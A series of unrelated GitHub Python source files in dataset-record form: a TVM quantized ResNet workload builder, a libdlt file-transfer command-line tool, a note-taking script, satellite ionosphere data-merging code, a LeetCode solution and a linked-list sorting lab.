relay.nn.softmax(data=fc1)\n    # return net\n    return relay.Function(relay.analysis.free_vars(net), net)   # notice here is for create_wordload\n\n\ndef get_net(batch_size,\n            num_classes,\n            num_layers=50,\n            image_shape=(3, 224, 224),\n            data_layout=\"NCHW\",\n            kernel_layout=\"OIHW\",\n            dtype=\"float32\",\n            **kwargs):\n    \"\"\"\n    Adapted from https://github.com/tornadomeet/ResNet/blob/master/train_resnet.py\n    Original author Wei Wu\n    \"\"\"\n    (_, height, _) = image_shape\n\n    if data_layout == 'NCHW':\n        data_shape = (batch_size,) + image_shape\n    elif data_layout == 'NHWC':\n        data_shape = (batch_size, image_shape[1], image_shape[2], image_shape[0])\n    else:\n        raise RuntimeError(\"Unsupported data layout {}\".format(data_layout))\n\n    if height <= 28:\n        num_stages = 3\n        if (num_layers-2) % 9 == 0 and num_layers >= 164:\n            per_unit = [(num_layers-2)//9]\n            filter_list = [16, 64, 128, 256]\n            bottle_neck = True\n        elif (num_layers-2) % 6 == 0 and num_layers < 164:\n            per_unit = [(num_layers-2)//6]\n            filter_list = [16, 16, 32, 64]\n            bottle_neck = False\n        else:\n            raise ValueError(\"no experiments done on num_layers {}\".format(num_layers))\n        units = per_unit * num_stages\n    else:\n        if num_layers >= 50:\n            filter_list = [64, 256, 512, 1024, 2048]\n            bottle_neck = True\n        else:\n            filter_list = [64, 64, 128, 256, 512]\n            bottle_neck = False\n        num_stages = 4\n        if num_layers == 18:\n            units = [2, 2, 2, 2]\n        elif num_layers == 34:\n            units = [3, 4, 6, 3]\n        elif num_layers == 50:\n            units = [3, 4, 6, 3]\n        elif num_layers == 101:\n            units = [3, 4, 23, 3]\n        elif num_layers == 152:\n            units = [3, 8, 36, 3]\n        elif num_layers == 200:\n            units = [3, 24, 36, 3]\n        elif num_layers == 269:\n            units = [3, 30, 48, 8]\n        else:\n            raise ValueError(\"no experiments done on num_layers {}\".format(num_layers))\n\n    return qnn_resnet(units=units,\n                  num_stages=num_stages,\n                  filter_list=filter_list,\n                  num_classes=num_classes,\n                  data_shape=data_shape,\n                  bottle_neck=bottle_neck,\n                  data_layout=data_layout,\n                  kernel_layout=kernel_layout,\n                  dtype=dtype)\n\n\n\ndef get_workload(batch_size=1,\n                 num_classes=1000,\n                 num_layers=18,\n                 image_shape=(3, 224, 224),\n                 dtype=\"float32\",\n                 data_layout=\"NCHW\",\n                 kernel_layout=\"OIHW\",\n                 **kwargs):\n    \"\"\"Get benchmark workload for resnet\n\n    Parameters\n    ----------\n    batch_size : int\n        The batch size used in the model\n\n    num_classes : int, optional\n        Number of classes\n\n    num_layers : int, optional\n        Number of layers\n\n    image_shape : tuple, optional\n        The input image shape\n\n    dtype : str, optional\n        The data type\n\n    kwargs : dict\n        Extra arguments\n\n    Returns\n    -------\n    mod : tvm.IRModule\n        The relay module that contains a ResNet network.\n\n    params : dict of str to NDArray\n        The parameters.\n    \"\"\"\n    net = get_net(batch_size=batch_size,\n                  num_classes=num_classes,\n                  num_layers=num_layers,\n                  image_shape=image_shape,\n                  dtype=dtype,\n                  data_layout=data_layout,\n                  kernel_layout=kernel_layout,\n                  **kwargs)\n\n    return create_workload(net, QuantizeInitializer())","repo_name":"Zhen-Dong/HAWQ","sub_path":"tvm_benchmark/mixed_precision_models/quantized_resnet_v2.py","file_name":"quantized_resnet_v2.py","file_ext":"py","file_size_in_byte":19721,"program_lang":"python","lang":"en","doc_type":"code","stars":362,"dataset":"github-code","pt":"60"}
+{"seq_id":"74468943552","text":"#!/usr/bin/env python3\n\nimport argparse, json, logging\nimport libdlt\n\nfrom urllib.parse import urlparse, urlunparse\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Transfer files using the Datalogistic Toolkit with PID tracking\")\n    parser.add_argument('-d', '--depotfile', type=str, default=None,  help='Filename for JSON containing depot '\n                        'information.  { <depot_url>: { enabled: ..., **keywords } }')\n    parser.add_argument('-b', '--blocksize', type=str, default='20m', help='Block size for individual allocations')\n    parser.add_argument('-V', '--visualize', type=str, help='URL to Web DLT server for data-movement visualization')\n    parser.add_argument('-t', '--threads', type=int, default=5, help='Number of data transfer threads')\n    parser.add_argument('-r', '--replicas', type=int, default=1, help='Data replication factor')\n    parser.add_argument('--verbose', action='store_true', help='Display verbose output')\n    parser.add_argument('source', type=str, help='Transfer source.  For local files, this should be a '\n                        'relative or absolute path.  For remote files, this should be a full URL to the file '\n                        'description.')\n    parser.add_argument('destination', type=str, nargs='?', help='Transfer source.  For local files, this should be '\n                        'a relative or absolute path.  For remote files, this should be a full URL to the file '\n                        'description.')\n\n    args = parser.parse_args()\n    if args.verbose: logging.getLogger('libdlt').setLevel(logging.DEBUG)\n    src, dst = urlparse(args.source), urlparse(args.destination)\n    if not (src.scheme or dst.scheme):\n        print('ERROR: Unknown formatting in source or destination.  One must follow '\n              '<scheme>://<host>[:<port>][/<path>]')\n    remote, local, is_upload = (src, dst, False) if src.scheme else (dst, src, True)\n    ty, host = ('U' if is_upload else 'D'), \"{}://{}\".format(remote.scheme, remote.netloc)\n\n    depots = None\n    if args.depotfile:\n        try:\n            with open(args.depotfile) as f:\n                depots = json.load(f)\n        except Exception as e:\n            print(\"ERROR: Could not read depot file - {}\".format(e))\n    \n    name = None if local.path == '.' else local.path\n    kwds = { 'bs': args.blocksize, 'threads': args.threads, 'viz_url': args.visualize, 'depots': depots }\n    if depots: kwds['depots'] = depots\n    \n    with libdlt.Session([{'default': True, 'url': host}], **kwds) as sess:\n        kwargs = {'filename': name}\n        if is_upload: kwargs['copies'] = args.replicas\n        res = (sess.upload if is_upload else sess.download)(urlunparse(src), **kwargs)\n        records = sorted(filter(lambda x: x[0] == ty, sess.get_record()), key=lambda x: x[2])\n\n        \n\n        print(\"Transaction Record [{}]:\".format('Upload' if is_upload else 'Download'))\n        for ty, alloc, *meta in records:\n            print(\"\\t{} [{}-{}]\".format(alloc.id, meta[0], meta[0] + meta[1]))\n        print(res.exnode.selfRef)\n","repo_name":"datalogistics/libdlt","sub_path":"tools/pid_xfer.py","file_name":"pid_xfer.py","file_ext":"py","file_size_in_byte":3063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43483090278","text":"import os\nfile_name = input(\"Please enter the file name: \")\nextention = input(\"Enter the file extention: \")\nfile_name = str(file_name) + str(extention)\n\ntry:\n    old_file = open(str(file_name),\"r\")\n    choice = input(\"What do you want to do?\\nA) Read the file\\nB) Delete the file and start over\\nC) Append the file\\nD) Replace a single line\\nYour Choice (A/B/C/D): \")\n\n    if (choice == 'A' or choice == 'a'):\n        input_file = open(file_name,\"r\")\n        input_list = []\n        for line in input_file:\n            tempparticipant = line.strip(\"\\n\").split()\n            input_list.append(tempparticipant)\n        print(input_list)\n        \n        input_file.close()\n    \n    elif (choice == 'B' or choice == 'b'):\n        old_file.close()\n        os.remove(file_name)\n        open_file = open(str(file_name),\"w\")\n        text = []\n        temptext = input('Enter your text: ')\n        text.append(temptext)\n        question = input(\"Do you want to add more text (y/n)?: \")\n        while(question != 'n'):\n            temptext = input('Enter your text: ')\n            text.append(temptext)\n            print(temptext)\n            print(text)\n            question = input(\"Do you want to add more text (y/n)?: \")   \n        for txt in text:\n            open_file.write(str(txt))\n            open_file.write(\" \")\n            open_file.write('\\n')\n        open_file.close()\n\n    elif (choice == 'C' or choice == 'c'):\n        open_file = open(file_name,'a+')\n        text = []\n        temptext = input('Enter your text: ')\n        text.append(temptext)\n        question = input(\"Do you want to add more text (y/n)?: \")\n        while(question != 'n'):\n            temptext = input('Enter your text: ')\n            text.append(temptext)\n            print(temptext)\n            print(text)\n            question = input(\"Do you want to add more text (y/n)?: \")   \n        for txt in text:\n            open_file.write(str(txt))\n            open_file.write(\" \")\n            open_file.write('\\n')\n        open_file.close()\n\n    elif (choice == 'D' or choice == 'd'):\n        reading_file = open(file_name,\"r\")\n        new_file_content = \"\"\n        for line in reading_file:\n            stripped_line = line.strip()\n            old_string = input(\"Enter the string to be replaced: \")\n            new_string = input(\"Enter the string to be replaced with: \")\n            new_line = stripped_line.replace(old_string, new_string)\n            new_file_content += new_line +\"\\n\"\n        reading_file.close()\n\n        writing_file = open(file_name, \"w\")\n        writing_file.write(new_file_content)\n        writing_file.close()\n    \n\nexcept FileNotFoundError:\n    open_file = open(str(file_name),\"w\")\n    text = []\n    temptext = input('Enter your text: ')\n    text.append(temptext)\n    question = input(\"Do you want to add more text (y/n)?: \")\n    while(question != 'n'):\n        temptext = input('Enter your text: ')\n        text.append(temptext)\n        print(temptext)\n        print(text)\n        question = input(\"Do you want to add more text (y/n)?: \")   \n    for txt in text:\n        open_file.write(str(txt))\n        open_file.write(\" \")\n        open_file.write('\\n')\n    open_file.close()\n","repo_name":"DPRIcky/Python-is-easy","sub_path":"note_taking_programme.py","file_name":"note_taking_programme.py","file_ext":"py","file_size_in_byte":3184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27192864628","text":"import datetime\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport basicFun as bF\n\n# ut0 lt1 Vpm2 lgN3 Diplat4 glat5 glon6\n\n\noschamp = 'D:/SpaceScienceData/CHAMP/CH-ME-2-PLP/'\nosroc = 'D:/SpaceScienceData/ROCSAT/IPEI/'\n\n\ndef datetran(date, num):\n    year = (date[:4])\n    month = (date[4:6])\n    day = (date[6:])\n    champname = year + '/CH-ME-2-PLP+' + year + '-' + month + '-' + day + '_' + namelast[num] + '.dat'\n    # print(champname)\n    dd = datetime.datetime.strptime(date, \"%Y%m%d\")\n    days = dd.timetuple().tm_yday\n    if days < 10:\n        rocname = year + '/' + year[2:4] + '00' + str(days)\n    elif days < 100:\n        rocname = year + '/' + year[2:4] + '0' + str(days)\n    else:\n        rocname = year + '/' + year[2:4] + str(days)\n    rocname = rocname + '.dat'\n    return champname, rocname\n\n\n# GPS0 yy1 mm2 dd3 hh4 mm5 ss6 radius7 lat8 lon9 den10 (Temperature)\ndef search_cha(data, state):\n    cha = bF.Orb()\n    cha.name = 'CHAMP'\n    # 找到轨道起始位置\n    for i in range(state, len(data)):\n        a = data[i].split()\n        # print(a)\n        lat, lon = float(a[8]), float(a[9])\n        if zs([lon])[0] < lat < zn([lon])[0]:\n            state = i\n            break\n    a = data[state].split()\n    lat, lon = float(a[8]), float(a[9])\n    # 获得轨道\n    while zs([lon])[0] < lat < zn([lon])[0] and state < len(data) - 1:\n        state = state + 1\n        a = data[state].split()\n        lat = float(a[8])\n        lon = float(a[9])\n        den = float(a[10])\n        alt = float(a[7]) - 6371.42\n        year = float(a[1])\n        mlat = round(bF.dip_lat(lat, lon, alt, year), 4)\n        if len(a) == 12:\n            a[11] = str(mlat)\n        else:\n            a.append(str(mlat))\n        if 10 ** 3 < den < 10 ** 8:\n            cha.insert(a)\n\n    # 获取参量\n    if len(cha.data) > 0:\n        datatemp = cha.data\n        cha.midlon = np.median([float(x[9]) % 360. for x in datatemp])\n        if cha.midlon < 30 or cha.midlon > 330:\n            cha.midlon = np.median([((float(x[9]) - 180) % 360) + 180 for x in datatemp]) % 360\n        utarr = [float(x[4]) + float(x[5]) / 60 + float(x[6]) / 3600 for x in datatemp]\n        # cha.midut = np.median([x for x in utarr]) % 24\n        cha.midut = np.median([(x - 12) % 24 + 12 for x in utarr]) % 24\n        cha.midlt = (cha.midut + cha.midlon / 15) % 24\n\n        # print(cha.midlon, cha.midut, midlt)\n        yy, mm, dd = float(a[1]), float(a[2]), float(a[3])\n        hh = np.median([float(x[4]) for x in datatemp])\n        days = bF.orderday(str(int(yy)) + str(100 + int(mm))[1:3] + str(100 + int(dd))[1:3])\n        if cha.midlt < 17.5 or cha.midlt > 23.5:\n            cha.clear()\n        if bF.is_magstorm(int(yy), int(days), int(hh), value):\n            cha.clear()\n    cha.lenth = len(cha.data)\n    return cha, state + 1\n\n\n# roc 0Date 1HHMMSS 2LHLMLS 3Vx_rpy 4Vy_rpy 5Vz_rpy  6Vpar\n# 7VperM 8VperZ  9LogN  10Temp 11O+ 12H 13He 14NO 15GLAT 16GLON 17DipLat 18ALT\ndef searchROC(data, state):\n    roc = bF.Orb()\n    roc.name = 'ROCSAT'\n    # 寻找轨道起点\n    for i in range(state, len(data)):\n        a = data[i].split()\n        diplat = float(a[17])\n        if diplat <= 15. and diplat >= -15.:\n            state = i\n            break\n    a = data[state].split()\n    diplat = float(a[17])\n    # 获得轨道\n    while state < len(data) - 1 and diplat > -15. and diplat < 15.:\n        a = data[state].split()\n        b = [0.] * 7\n        b[0] = round(float(a[1][:2]) + float(a[1][3:5]) / 60 + float(a[1][6:8]) / 3600, 2)  # ut\n        b[1] = round(float(a[2][:2]) + float(a[2][3:5]) / 60 + float(a[2][6:8]) / 3600, 2)  # lt\n        b[2] = float(a[7])  # Vpm\n        b[3] = float(a[9])  # lgN\n        b[4] = float(a[17])  # Diplat\n        b[5] = float(a[15])  # glat\n        b[6] = float(a[16])  # glon\n        roc.insert(b)\n        state = state + 1\n        diplat = b[4]\n    if len(roc.data) > 0:\n        datatemp = roc.data\n        roc.midlon = np.median([float(x[6]) % 360 for x in datatemp])\n        if roc.midlon < 30 or roc.midlon > 330:\n            roc.midlon = np.median([((float(x[6]) - 180) % 360) + 180 for x in datatemp]) % 360\n        # roc.midut = np.median([float(x[0]) for x in datatemp])\n        roc.midut = np.median([(float(x[0]) - 12.0) % 24. + 12. for x in datatemp]) % 24\n        roc.midlt = (roc.midut + roc.midlon / 15) % 24\n        if roc.midlt < 17 or roc.midlt > 24:\n            roc.clear()\n    roc.lenth = len(roc.data)\n    return roc, state + 15\n\n\ntemp = 0\n\n\ndef chaMERroc(chalist, roclist):\n    # print(0)\n    for i in range(len(chalist)):\n        cha = chalist[i]\n        rocout = chalist[i]\n        dlttemp = 100\n        dlontemp = 1000\n        for j in range(len(roclist)):\n            roc = roclist[j]\n            # print(cha.midut, roc.midut)\n            # print(cha.midlon, roc.midlon)\n            cmidlt = (cha.midut + cha.midlon / 15.) % 24\n            rmidlt = (roc.midut + roc.midlon / 15.) % 24\n            dlt = min(abs(cmidlt - rmidlt), abs(cmidlt - rmidlt + 24), abs(cmidlt - rmidlt - 24))\n            dlon = min(abs(cha.midlon - roc.midlon), abs(cha.midlon - roc.midlon + 360),\n                       abs(cha.midlon - roc.midlon - 360))\n            # if dlon < dlontemp:\n            #     dlontemp = dlon\n            if dlt < dlttemp:\n                dlttemp = dlt\n                dlontemp = dlon\n                rocout = roc\n        # dlonlsit.append(dlontemp)\n        # dltlist.append(dlttemp)\n        if dlttemp < 1 and dlontemp < 15:\n            cha.outtext()\n            rocout.outtext()\n            dlonlsit.append(0)\n\n\nnamelast = ['1', '2', '3', '4', '21']\n\n\ndef mergeouttext(date):\n    num = 0\n    while num <= 4:\n        champname, rocname = datetran(date, num)\n        champfilename = oschamp + champname\n        if os.path.exists(champfilename) and os.path.exists(osroc + rocname):\n            datacha = bF.readfile(champfilename)\n            dataroc = bF.readfile(osroc + rocname)\n            chalist = []\n            roclist = []\n            # CHAMP\n            state = 18\n            while state < len(datacha) - 1:\n                cha, state = search_cha(datacha, state)\n                if cha.lenth != 0:\n                    chalist.append(cha)\n                    # cha.latden()\n            num = 5\n            # ROCSAT\n            state = 2\n            while state < len(dataroc) - 1:\n                roc, state = searchROC(dataroc, state)\n                if roc.lenth > 0:\n                    roclist.append(roc)\n                    # roc.latden()\n            # merge\n            chaMERroc(chalist, roclist)\n        else:\n            num = num + 1\n\n\nvalue = bF.magstormexcle()\n\n\ndef staticLT(date):\n    num = 0\n    while num <= 4:\n        champname, rocname = datetran(date, num)\n        champfilename = oschamp + champname\n\n        if os.path.exists(champfilename):\n            datacha = bF.readfile(champfilename)\n            state = 18\n            while state < len(datacha) - 1:\n                cha, state = search_cha(datacha, state)\n                cha.date = date\n                lct = cha.midlt\n                filename = outpath + str(round(lct)) + '.txt'\n                year = int(date[:4])\n                doy = datetime.datetime.strptime(date, \"%Y%m%d\").timetuple().tm_yday\n                hour = int(cha.midut)\n                if not bF.is_magstorm(year, doy, hour, value):\n                    if cha.lenth != 0:\n                        with open(filename, 'a') as fout:\n                            cha.outtext(fout)\n            num = 5\n        else:\n            num = num + 1\n\n\ndef staticdraw(chalist, roclist, LT):\n    plt.subplot(3, 1, 2)\n    plt.plot(range(-30, 30), np.zeros(60), linestyle='--', c='r')\n    roc = bF.Orb()\n    ftemp = 0\n    dtemp = 0\n    btemp = 0\n    ntemp = 0\n    for i in range(len(chalist)):\n        cha = chalist[i]\n        ck = draw(cha.data, roc.data, LT)\n        if ck == 'flat':\n            ftemp = ftemp + 1\n        elif ck == 'deep':\n            dtemp = dtemp + 1\n        elif ck == 'bubble':\n            btemp = btemp + 1\n        else:\n            ntemp = ntemp + 1\n    cha = bF.Orb()\n    for i in range(len(roclist)):\n        roc = roclist[i]\n        draw(cha.data, roc.data, LT)\n    print(ftemp, dtemp, btemp, ntemp)\n\n\ndef curveKind(lat, den):\n    N = len(lat)\n    gettemp = []\n    getct = []\n    for i in range(1, N - 1):\n        if lat[i] > -25. and lat[i] < 22.:\n            if (den[i - 1] - den[i]) * (den[i] - den[i + 1]) <= 0.0:\n                if len(gettemp) > 0:\n                    if gettemp[len(gettemp) - 1] == i - 1:\n                        gettemp[len(gettemp) - 1] = i\n                    else:\n                        gettemp.append(i)\n                        if den[i - 1] < den[i]:\n                            getct.append(1)\n                        else:\n                            getct.append(0)\n                else:\n                    gettemp.append(i)\n                    if den[i - 1] < den[i]:\n                        getct.append(1)\n                    else:\n                        getct.append(0)\n    # print(getct)\n    # for i in range(len(getct)):\n    #     print(lat[gettemp[i]])\n    if len(getct) == 0:\n        return 'flat'\n    if len(getct) == 1:\n        if getct[0] == 1:\n            return 'flat'\n    if len(getct) == 3:\n        if getct == [1, 0, 1]:\n            ctr = (10. ** den[gettemp[0]] + 10. ** den[gettemp[2]]) / (10. ** den[gettemp[1]] * 2)\n            if ctr < 10.:\n                return 'flat'\n            else:\n                return 'deep'\n    if len(getct) - np.sum(getct) > 2:\n        return 'bubble'\n    return 'nosort'\n\n\ndef curveKind2(lat, den):\n    N = len(lat)\n    den = np.array(den)\n    if len(den) > 5:\n        den2 = bF.smooth(den, 5)\n    else:\n        den2 = den\n    sigma = abs(den2 - den) / den2\n    if sigma.max() > 0.05:\n        return 'bubble'\n\n    norpeak = []\n    soupeak = []\n    valley = []\n    for i in range(N):\n        alat = lat[i]\n        if alat < -10 and alat > -20:\n            soupeak.append(10 ** den[i])\n        elif alat < 5 and alat > -5:\n            valley.append(10 ** den[i])\n        elif alat > 10 and alat < 20:\n            norpeak.append(10 ** den[i])\n    if len(soupeak) * len(norpeak) * len(valley) != 0:\n        ctr = (np.array(soupeak).max() + np.array(norpeak).max()) / (2 * np.array(valley).min())\n    else:\n        return 'nosort'\n    if ctr > 5.:\n        return 'deep'\n    else:\n        return 'flat'\n\n\ndef draw(chadata, rocdata, lt):\n    den = []\n    lat = []\n    lgN = []\n    Vpm = []\n    latr = []\n    # print(chadata[0])\n    for i in range(len(chadata)):\n        a = chadata[i]\n        den.append(np.log10(float(a[10])))\n        lat.append(float(a[8]) - z0([float(a[9])])[0])\n        # print(lt, loctime)\n        # dltc.append(np.median([-3, loctime-lt, 3]))\n    for i in range(len(rocdata)):\n        b = rocdata[i]\n        dlt = min(abs(float(b[1]) - lt), abs(float(b[1]) - lt + 24), abs(float(b[1]) - lt - 24))\n        if dlt < 0.5:\n            latr.append(float(b[4]))\n            lgN.append(float(b[3]))\n            Vpm.append(float(b[2]))\n    bF.sort2(lgN, latr)\n    bF.sort2(Vpm, latr)\n    bF.sort2(latr, latr)\n    if len(Vpm) > 60:\n        Vpm2 = bF.smooth(Vpm, 60)\n    else:\n        Vpm2 = Vpm\n    # if len(lgN)\n    # lgN2 = bf.smooth(lgN, 10)\n    plt.subplot(3, 1, 1)\n    plt.plot(latr, lgN, linewidth=1, c='k', alpha=0.1)\n    plt.xlim(-20, 20)\n    plt.ylim(3.5, 7)\n    plt.subplot(3, 1, 2)\n    plt.plot(latr, Vpm2, linewidth=1, c='k', alpha=0.1)\n    plt.xlim(-20, 20)\n    plt.ylim(-75, 75)\n    plt.subplot(3, 1, 3)\n    ck = 'nosort'\n    if len(lat) > 5:\n        ck = curveKind2(lat, den)\n        # plt.plot(lat, 10**np.array(den), linewidth=1, c='k', alpha=1)\n        # plt.xlim(-20, 20)\n        # plt.show()\n        if ck == 'flat':\n            plt.plot(lat, den, linewidth=1, c='r', alpha=0.1)\n        elif ck == 'deep':\n            plt.plot(lat, den, linewidth=1, c='g', alpha=0.1)\n        elif ck == 'bubble':\n            plt.plot(lat, den, linewidth=1, c='b', alpha=0.1)\n        else:\n            plt.plot(lat, den, linewidth=1, c='y', alpha=0.1)\n        plt.axis([-20, 20, 3.5, 7])\n    return ck\n\n\ndef write_cha_prf_info():\n    for year in range(2001, 2005):\n        for month in range(1, 13):\n            for day in range(1, 32):\n                date = str(year) + str(month + 100)[1:3] + str(day + 100)[1:3]\n                # print(date)\n                try:\n                    staticLT(date)\n                except:\n                    print('error!' + str(date))\n\n\nzn = bF.magline(50)\nzs = bF.magline(-50)\nz0 = bF.magline(0)\n\ndlonlsit = []\ndltlist = []\nif __name__ == '__main__':\n    outpath = 'D:/Program/BigCTR/Text/champOrb/'\n    write_cha_prf_info()\n    # for i in range(17, 24):\n    #     print(i)\n    #     fout = open('D:\\\\program\\\\BigCTR\\\\LTdevelop\\\\' + str(i * 1.0) + '.txt', 'w+')\n    #     draw_champ_lon_time(i * 1.)\n    #     fout.close()\n    #     fout = open('D:\\\\program\\\\BigCTR\\\\LTdevelop\\\\' + str(i + 0.5) + '.txt', 'w+')\n    #     draw_champ_lon_time(i + 0.5)\n    #     fout.close()\n","repo_name":"zzyztyy/BigCTR","sub_path":"pyBigCTR/bc3newMergeOrb.py","file_name":"bc3newMergeOrb.py","file_ext":"py","file_size_in_byte":13046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4730361261","text":"\"\"\"\r\n @SEU(master);@ZZULI(bachelor)\r\n author:CuiXuan\r\n email:873059043@qq.com\r\n If you find any errors, please let me know.\r\n If you have any better solution, please let me know.\r\n\r\n Solution Using time 72ms\r\n\"\"\"\r\n\r\nclass Solution:\r\n    # @param {integer} x\r\n    # @return {integer}\r\n    def reverse(self, x):\r\n        flag=1 if x>0 else -1\r\n        x=x if x>0 else -x\r\n        res=0\r\n        while x>0:\r\n            if res*10.0 + x%10 > 2147483647:return 0\r\n            res = res*10+x%10\r\n            x/=10\r\n        return res*flag","repo_name":"ee08b397/LeetCodeSolution","sub_path":"Problem007-Reverse Integer/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"16598452870","text":"#Course:CS2302\r\n#aAuthor:Daniela Flores\r\n#Lab2\r\n#Instructor:Olac Fuentes\r\n#T.A: Dita Nath\r\n#date of last Mod: 2/26/19\r\n#purpose of program: in this program I had to write methods thatll sort a non native python list. I had to implement \r\n#bubble sort, quick sort, merge sort and a modified version of quick sort \r\nimport random \r\n #Node Functions\r\nclass Node(object):\r\n    # Constructor\r\n    def __init__(self, item, next=None):  \r\n        self.item = item\r\n        self.next = next \r\n        \r\ndef PrintNodes(N):\r\n    if N != None:\r\n        print(N.item, end=' ')\r\n        PrintNodes(N.next)\r\n        \r\ndef PrintNodesReverse(N):\r\n    if N != None:\r\n        PrintNodesReverse(N.next)\r\n        print(N.item, end=' ')\r\n        \r\n#List Functions\r\nclass List(object):   \r\n    # Constructor\r\n    def __init__(self): \r\n        self.head = None\r\n        self.tail = None\r\n        \r\ndef IsEmpty(L):  \r\n    return L.head == None     \r\n        \r\ndef Append(L,x): \r\n    # Inserts x at end of list L\r\n    if IsEmpty(L):\r\n        L.head = Node(x)\r\n        L.tail = L.head\r\n    else:\r\n        L.tail.next = Node(x)\r\n        L.tail = L.tail.next\r\n     #inserts element given at the beginning of linked list       \r\ndef Prepend(L,x):\r\n    if IsEmpty(L):\r\n        L.head = Node(x)\r\n        L.tail = L.head\r\n    else:    \r\n        L.head=Node(x,L.head)   \r\n        \r\ndef Print(L):\r\n    # Prints list L's items in order using a loop\r\n    temp = L.head\r\n    while temp is not None:\r\n        print(temp.item, end=' ')\r\n        temp = temp.next\r\n    print()  # New line \r\n\r\ndef PrintRec(L):\r\n    # Prints list L's items in order using recursion\r\n    PrintNodes(L.head)\r\n    print() \r\n    \r\ndef Remove(L,x):\r\n    # Removes x from list L\r\n    # It does nothing if x is not in L\r\n    if L.head==None:\r\n        return\r\n    if L.head.item == x:\r\n        if L.head == L.tail: # x is the only element in list\r\n            L.head = None\r\n            L.tail = None\r\n        else:\r\n            L.head = L.head.next\r\n    else:\r\n         # Find x\r\n         temp = L.head\r\n         while temp.next != None and temp.next.item !=x:\r\n             temp = temp.next\r\n         if temp.next != None: # x was found\r\n             if temp.next == L.tail: # x is the last node\r\n                 L.tail = temp\r\n                 L.tail.next = None\r\n             else:\r\n                 temp.next = temp.next.next\r\n         \r\ndef PrintReverse(L):\r\n    # Prints list L's items in reverse order\r\n    PrintNodesReverse(L.head)\r\n    print()\r\n    # empties L to en empty list\r\ndef emptying(L):\r\n\r\n    L.head = None\r\n    L.tail = None        \r\n###########################################################\r\ndef bubbleSort(L):\r\n    #O(n^2)\r\n    change = True\r\n    while change:\r\n        t = L\r\n        t = L.head\r\n        change = False\r\n        count = 0\r\n        while t.next is not None:\r\n            count +=1\r\n            if t.item > t.next.item:\r\n                temp = t.item\r\n                t.item = t.next.item\r\n                t.next.item = temp\r\n                change = True\r\n            t = t.next\r\n########################################################## \r\ndef mergeSort(L):\r\n    #checks if list is long enough\r\n    if getLength(L) > 1:\r\n        p1 = List()\r\n        p2 = List()\r\n        t = L.head\r\n        #splits list into halves\r\n        for i in range(getLength(L) //2):\r\n            Append(p1, t.item)\r\n            t=t.next\r\n        while t != None:   \r\n            Append(p2, t.item)\r\n            t = t.next\r\n        #merge sorts the two halves\r\n        mergeSort(p1)\r\n        mergeSort(p2)\r\n        #restores L to an empty list\r\n        emptying(L)\r\n        #puts together lists into L\r\n        mergeTgthr(L, p1, p2)\r\n        \r\n        \r\n        \r\ndef mergeTgthr(L,p1, p2):\r\n    #temp var for split lists\r\n    firstH = p1.head\r\n    secH = p2.head\r\n    #brings together list in order by comparing elements of both split lists\r\n    while firstH != None and secH != None:\r\n        if firstH.item < secH.item:\r\n            Append(L, firstH.item)\r\n            firstH = firstH.next\r\n        else:\r\n            Append(L, secH.item)\r\n            secH = secH.next\r\n    # if statements cover if the halves arent of same length        \r\n    if secH is None:\r\n        while firstH != None:\r\n            Append(L, firstH.item)\r\n            firstH = firstH.next\r\n    if firstH is None:\r\n        while secH != None:\r\n            Append(L, secH.item)\r\n            secH = secH.next\r\n##########################################################\r\n# populates list of size n with random intergers \r\ndef randomListGen(n):\r\n    #i = 0\r\n    R = List()\r\n    for i in range(n):\r\n       Append(R,random.randrange(101))\r\n        # L.append(random.randrange(101))\r\n    return R  \r\n#gets length of given list\r\ndef getLength(L):\r\n    temp = L.head\r\n    count = 0\r\n    while temp is not None:\r\n        temp = temp.next\r\n        count += 1\r\n    return count\r\n######################################################\r\n# copies list given into a new one    \r\ndef copyList(N):\r\n    # Prints list L's items in order using a loop\r\n        clone = List()\r\n        te = N.head\r\n       #clone = List()\r\n        while te is not None:\r\n            Append(clone,te.item)\r\n            te = te.next\r\n        return clone  \r\n######################################################\r\n# finds median        \r\ndef findMiddle(t,halfIndex):\r\n    iter = t.head\r\n    for i in range(halfIndex):\r\n        midElement = iter.item\r\n        iter = iter.next\r\n    return midElement\r\n###########################################\r\ndef quickSort(L):\r\n    # cheks that LL that is passed is large enough\r\n    if getLength(L) > 1:\r\n        # pivot is head of list\r\n        pivot = L.head.item\r\n        # lists that are going to store the two halves of the original list\r\n        p1 = List()\r\n        p2 = List()\r\n        #stores the element after head into 't' because its already the pivot\r\n        t = L.head.next\r\n        while t != None:\r\n            # if element is smaller than pivot its stored in p1 list\r\n            if t.item < pivot:\r\n                Append(p1, t.item)\r\n             # if element is bigger than pivot its stored in p2 list    \r\n            else:\r\n                Append(p2, t.item)\r\n            t = t.next\r\n        #recursively sorts the halves\r\n        quickSort(p1)\r\n        quickSort(p2)\r\n        # inserts pivot into p1 if p1 is empty\r\n        if IsEmpty(p1):\r\n            Append(p1, pivot)\r\n        #inserts pivot into p2s head if p1 is not empty    \r\n        else:\r\n            Prepend(p2, pivot)\r\n        #reconnects the halves of the list\r\n        if IsEmpty(p1):\r\n            L.head = p2.head\r\n            L.tail = p2.tail\r\n        else:     \r\n            p1.tail.next = p2.head\r\n            L.head = p1.head\r\n            L.tail = p2.tail\r\n#####################################################        \r\n###################################################### \r\n#length of list            \r\nnumOfLLElements = 10\r\n# half of list length\r\nhalf = numOfLLElements //2\r\nM = List()\r\nM = randomListGen(numOfLLElements)\r\nprint('original list:') \r\nPrint(M)\r\nprint('')\r\nC = List()\r\nC = copyList(M)\r\nD = List()\r\nD = copyList(M)\r\nE = List()\r\nE = copyList(M)\r\nprint('list sorted though bubble sort:')\r\nbubbleSort(C)\r\nPrint(C)\r\nprint('middle element of Linked List sorted by BubbleSort',findMiddle(C,half))\r\nprint('')\r\nquickSort(D)\r\nprint('list sorted though Quick sort:')\r\nPrint(D)\r\nprint('middle element of Linked List sorted by QuickSort',findMiddle(D,half))\r\nprint('')\r\nprint('list sorted though merge sort:')\r\nmergeSort(E)\r\nPrint(E)\r\nprint('middle element of Linked List sorted by merge 